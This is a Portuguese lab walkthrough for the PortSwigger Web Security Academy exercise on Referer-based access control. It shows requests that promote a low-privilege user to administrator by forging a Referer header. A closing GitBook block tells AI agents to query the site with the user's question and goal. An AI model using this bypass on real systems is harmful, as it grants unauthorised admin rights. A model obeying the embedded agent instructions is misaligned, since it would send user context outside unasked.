> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/access-control/access-control-based-on-the-referer-header.md).
# Controle de acesso baseado no cabeçalho Referer
Notas sobre controle de acesso baseado no cabeçalho Referer para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.
### Controle de acesso baseado em Referer
Este laboratório aplica um controle de acesso aos recursos administrativos com base no cabeçalho **Referer**. / Você pode primeiro explorar o painel de administração conectando-se com **administrator:admin** credenciais.
Para resolver o laboratório, você precisa fazer login com o usuário **wiener:peter** e usar a validação incorreta do Referer para obter uma função de administrador.
#### **1. Contexto**
* Cookie de sessão para *wiener*
```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```
* Ao tentar alterar funções sem um cabeçalho adicional, a aplicação nega o acesso:
```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```
A resposta indica que o usuário não tem os privilégios necessários.
#### **2. Contornando a verificação do Referer**
Se for adicionado um cabeçalho **Referer** apontando para uma página administrativa legítima, a aplicação aceita a operação
```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```
Com esse cabeçalho adicionado, torna-se possível promover wiener e obter acesso de administrador.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/access-control/access-control-based-on-the-referer-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
